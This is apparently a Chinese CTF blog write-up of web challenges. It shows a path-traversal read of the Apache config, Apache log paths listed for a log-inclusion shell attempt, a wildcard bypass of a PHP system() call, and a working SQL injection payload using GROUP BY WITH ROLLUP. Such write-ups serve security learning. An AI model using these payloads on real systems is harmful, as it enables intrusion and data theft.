安恒开了周周练西湖论剑特别版,那就做一下吧
Web
Web 1 WebScan
Description
{% colorquote info %} 某公司的网站遭受到黑客攻击,存放在Apache配置文件中的重要信息被黑客盗取了。公司员工为了验证成因,使用明鉴Web应用弱点扫描器扫描网站并导出漏洞报告,你能通过分析漏洞报告得出黑客可能是采用哪种漏洞盗取重要信息的么?被盗取的重要信息是什么? {% endcolorquote %}
报告地址:https://xpro-resource.91ctf.com/5c149c800c81e.pdf
题目地址:http://101.71.29.5:10009
Hacking
题目给了几个洞,一个盲注,一个目录穿越文件包含
尝试直接用 sqlmap 的 sql_shell 进行操作,发现secure_file_priv
为空,尝试用load_file()
读源码,发现读不了,写到/tmp/
目录下用文件包含也不行,远程包含不行,本地包含屏蔽了关键字php
,含有php
的字符串都会被 Forbidden 。
尝试读配置文件view-source:http://101.71.29.5:10009/index.php?act=about&file=/etc/httpd/conf/httpd.conf
,然后查找 log 的位置,想用文件包含 log 拿 shell
/var/log/httpd/error_log
/var/log/apache2/error.log
/var/log/httpd-error.log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/httpd/access.log
然而后来想想,题目应该是用的file_get_content()
函数,而不是include
的操作,即使有 php 代码,也应该无法解析。
然后瞎看配置文件的时候,发现 flag …
Web 2 刀塔
Description
{% colorquote info %} 无论你喜欢打Dota还是LOL,都进网站里学习一下吧! {% endcolorquote %}
题目地址:http://101.71.29.5:10010
Hacking
非预期
扫目录得到 www.zip ,打开在 flag.php 找到 flag
正常解
在 index.php 中可以看到
case 'news':
if(isset($_GET['nid'])){
if(preg_match("/[a-zA-Z]/",$_GET['nid'])){
exit("Illegal operation!");
}elseif(strlen($_GET[nid])>5){
exit("Illegal operation!");
}else{
echo "<p class=lead>";
system("head ./news/" . $_GET['nid']);
echo "</p>";
}
}else{
echo "<h3><a href=index.php?act=news&nid=1>鱼人守卫</a></h3>";
echo "<h3><a href=index.php?act=news&nid=2>黑暗游侠</a></h3>";
echo "<h3><a href=index.php?act=news&nid=3>血魔</a></h3>";
}
break;
可以看到这里用了system
,正则只允许用字母,这里我们可以直接用通配符绕过就行了。直接head
上级目录act=news&nid=../*
Web 3 美男子
Description
{% colorquote info %} 我还是想安静的做一个美男子! {% endcolorquote %}
题目地址:http://101.71.29.5:10011
Hacking
源代码得到index.phps
<?php
include 'global.php';
function AttackFilter($StrKey,$StrValue,$ArrReq){
if(is_array($StrValue))
{
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrtValue)==1){
print "holy shit!";
exit();
}
}
$filter = "union|select|from|where|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
if(!isset($_POST['key1']) || !isset($_POST['key2'])) {
print <<<DBAPP
<img src='image/img.jpg' />
<!--index.phps-->
DBAPP;
die;
}
$query = mysql_query("SELECT * FROM tb_ctf WHERE key1 = '{$_POST['key1']}'");
if(mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['key2'] == $_POST['key2']) {
print $flag;
}else{
print "Error!";
}
}else{
print "Error!";
}
看了一下题目,注入点在 key1 处,可以用单引号闭合,但是需要查询结果得到的 key2 与传入的 key2 相等才能拿到 flag。我猜测是不是可以有类似 limit 或者 union 的操作, 控制查询的 key2 我们就可以传入控制点了
然后我就发现竟然是个原题…PHDays 2013 CTF “Blade” Writeup,利用了GROUP BY WITH ROLLUP
,相关文档:GROUP BY Modifiers
大概效果就是以下这个样子:
MariaDB [test]> select * from user where id =1 GROUP BY id WITH ROLLUP LIMIT 1 OFFSET 1;
+------+----------+--------+
| id | username | passwd |
+------+----------+--------+
| NULL | admin | admin |
+------+----------+--------+
1 row in set (0.001 sec)
MariaDB [test]> select * from user where id =1 GROUP BY username WITH ROLLUP LIMIT 1 OFFSET 1;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
| 1 | NULL | admin |
+----+----------+--------+
1 row in set (0.000 sec)
所以这里我们只需要让 key2 为空就行了。
key1=' or 1=1 GROUP BY key2 WITH ROLLUP LIMIT 1 OFFSET 1;#&key2=
Web 4 Easy Login
Description
{% colorquote info %} Easy Login…So Easy… {% endcolorquote %}
题目地址:http://101.71.29.5:10017
然而题目没开…
Web 5 Be Allowed?
Description
{% colorquote info %} 小黑终于闯进了内网,找到了目标Web主机,但是却被做了限制! {% endcolorquote %}
题目地址:http://101.71.29.5:10016
然而题目没开…
Web 6 我的博客
Description
{% colorquote info %} 年轻不懂事,没事写博客。写出这么个东西,这可是一整个博客啊。(答案为flag{}形式,提交{}中内容即可) {% endcolorquote %}
题目地址:http://101.71.29.5:10015
然而题目没开…
Conclusion
明天就是正式比赛了,后面这几个没开的题目大概也不会开了。前几个还是学到了一点东西,主要是 web 3 学习到了WITH ROLLUP
的用法,还是有点收获的,其他就比较水了。